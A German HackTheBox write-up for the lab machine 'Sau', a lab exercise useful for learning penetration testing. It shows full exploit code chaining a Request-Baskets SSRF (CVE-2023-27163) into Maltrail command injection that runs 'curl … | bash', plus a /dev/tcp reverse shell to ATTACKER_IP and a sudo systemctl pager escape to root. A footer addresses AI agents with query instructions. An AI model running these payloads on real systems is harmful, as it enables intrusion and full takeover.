> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md).

# Sau HackTheBox-Writeup

{% embed url="<https://app.hackthebox.com/machines/sau>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* Request-Baskets-SSRF
* Maltrail-Befehlsinjektion
* `systemctl` Pager-Escape
  {% endhint %}

## Aufklärung

Erstelle einen Arbeitsbereich für Scan-Ausgabe, Inhalte und Exploits.

```bash
mkdir {nmap,content,script,exploit}
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FBae3HuI1py4VRc4sALAT%2Fimage.png?alt=media&amp;token=d8c9fe99-72a4-4f2e-ac72-ee6cf564bdcd" alt=""><figcaption></figcaption></figure>

Beginne mit einem vollständigen TCP-Scan. Port `22` und Port `55555` sind offen.

```bash
nmap -p- --open -sS -n -PN --min-rate 5000 -vvv 10.129.229.26 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F43nnYJD4J4PzaA3QsQKT%2Fimage.png?alt=media&amp;token=e50a6583-9441-44f6-8da6-0bdbfea01636" alt=""><figcaption></figcaption></figure>

Identifiziere die exponierten Dienstversionen.

```bash
nmap -sCV -p22,55555 10.129.229.26 -oN targeted
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FCYZ3y5QD4rUryowDP7eA%2Fimage.png?alt=media&amp;token=bc1d6510-3b5e-4dd0-9e35-5b305e41132d" alt=""><figcaption></figcaption></figure>

Der HTTP-Dienst ist Request-Baskets `1.2.1`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0Wo8u0zTi9dNhBqVzpEw%2Fimage.png?alt=media&amp;token=6a3dc224-3d71-4457-861f-1a28a358c66c" alt=""><figcaption></figcaption></figure>

Diese Version ist durch Basket-Weiterleitung für SSRF verwundbar.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FjxxtONmKd3g6ipQMBEdL%2Fimage.png?alt=media&amp;token=062eff0f-20f7-4681-b69d-1369af456eec" alt=""><figcaption></figcaption></figure>

Die Schwachstelle erlaubt es uns, einen Basket zu erstellen, der Anfragen an einen internen Dienst weiterleitet.

{% embed url="<https://github.com/lukehebe/CVE-2023-27163-POC>" %}

## Erstzugriff

Request-Baskets kann den lokalen Maltrail-Dienst erreichen. Der Login-Endpunkt von Maltrail akzeptiert Befehlsinjektion.

### Bereite den Listener vor

Erstelle ein Reverse-Shell-Skript. Ersetze `ATTACKER_IP` durch deine VPN-Adresse.

```bash
echo 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1' > shell.sh
python3 -m http.server 80
nc -nvlp 4444
```

### Nutze das SSRF aus

Verwende den verlinkten Proof of Concept, um einen Basket zu erstellen. Er leitet Anfragen weiter an `127.0.0.1`.

Speichere das folgende Skript als `exploit.py`. Es erstellt den Basket und löst die Maltrail-Payload aus.

{% code title="exploit.py" overflow="wrap" %}

```python
import argparse
import json
import sys

import requests


def get_args():
    parser = argparse.ArgumentParser(
        description="CVE-2023-27163 in Request-Baskets ausnutzen."
    )
    parser.add_argument("-t", "--target", required=True)
    parser.add_argument("-p", "--port", type=int, default=80)
    parser.add_argument("-b", "--basket", required=True)
    parser.add_argument("--local-ip", required=True)
    parser.add_argument("--local-port", type=int, default=80)
    parser.add_argument("--payload-file", required=True)
    return parser.parse_args()


def create_basket(target_url, basket_name):
    payload = {
        "forward_url": "http://127.0.0.1",
        "proxy_response": True,
        "insecure_tls": False,
        "expand_path": True,
        "capacity": 250,
    }

    response = requests.post(
        f"{target_url}/api/baskets/{basket_name}",
        json=payload,
    )

    if response.status_code in [200, 201, 202]:
        return response.json()["token"]

    print(f"Fehler beim Erstellen des Baskets: {response.text}")
    sys.exit(1)


def trigger_rce(target_url, basket_name, token, local_ip, local_port, payload_file):
    payload_url = f"http://{local_ip}:{local_port}/{payload_file}"
    headers = {
        "Authorization": f"Bearer {token}",
        "Content-Type": "application/x-www-form-urlencoded",
    }
    data = f"username=;`curl {payload_url} | bash`"

    response = requests.post(
        f"{target_url}/{basket_name}/login",
        data=data,
        headers=headers,
    )

    if response.status_code in [200, 201, 202]:
        print("Payload gesendet. Prüfe den Listener.")
        return

    print(f"RCE-Auslösung fehlgeschlagen: {response.text}")


def main():
    args = get_args()
    target_url = f"http://{args.target}:{args.port}"
    token = create_basket(target_url, args.basket)
    trigger_rce(
        target_url,
        args.basket,
        token,
        args.local_ip,
        args.local_port,
        args.payload_file,
    )


if __name__ == "__main__":
    main()
```

{% endcode %}

{% code overflow="wrap" %}

```bash
python3 exploit.py -t 10.129.229.26 -p 55555 -b shell --local-ip 10.10.15.2 --local-port 80 --payload-file shell.sh
```

{% endcode %}

Der Exploit fordert den Maltrail-Login-Endpunkt über den Basket an. Er lädt `shell.sh` und liefert eine Shell zurück.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F4wPeIMx0xM3O2k4VGMSc%2Fimage.png?alt=media&amp;token=9f7afcbe-6af8-46c7-9cc1-0676a0d13dad" alt=""><figcaption></figcaption></figure>

### User-Flag

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FYICvHrogZMNuv3Jow02p%2Fimage.png?alt=media&amp;token=dfda10c1-48f6-40f1-abbd-6b4221e3123b" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation

Überprüfe die sudo-Berechtigungen des aktuellen Benutzers.

{% code overflow="wrap" %}

```bash
sudo -l
```

{% endcode %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FxzhGWAlTZRRMjL4dRleP%2Fimage.png?alt=media&amp;token=0cec7d0c-ac46-49fc-b6e4-99fd7c14893f" alt=""><figcaption></figcaption></figure>

Der Benutzer kann den `trail.service` Status als root anzeigen. `systemctl` öffnet die Ausgabe in `less`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FhyNqNitSB4HibBBMmW3W%2Fimage.png?alt=media&amp;token=9ef6366c-caed-40f9-8d7e-411a460eca9e" alt=""><figcaption></figcaption></figure>

Führe den erlaubten Befehl aus. Stelle sicher, dass die Ausgabe im Pager geöffnet wird.

```bash
sudo /usr/bin/systemctl status trail.service
```

Innerhalb von `less`, führe einen Shell-Escape aus.

{% code overflow="wrap" %}

```bash
!sh
```

{% endcode %}

Die resultierende Shell läuft als `root`.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2FokMxWp1XBZbdHdldLfAA%2Fimage.png?alt=media&amp;token=6fac9dfb-3b6d-428c-b50b-c486c5f9ac86" alt=""><figcaption></figcaption></figure>

### Root-Flag

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F0ZZPINo0UElEJlbsC1ua%2Fimage.png?alt=media&amp;token=a2ea41a7-e6fd-426c-a26b-58b42c38b416" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/linux-easy/sau-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
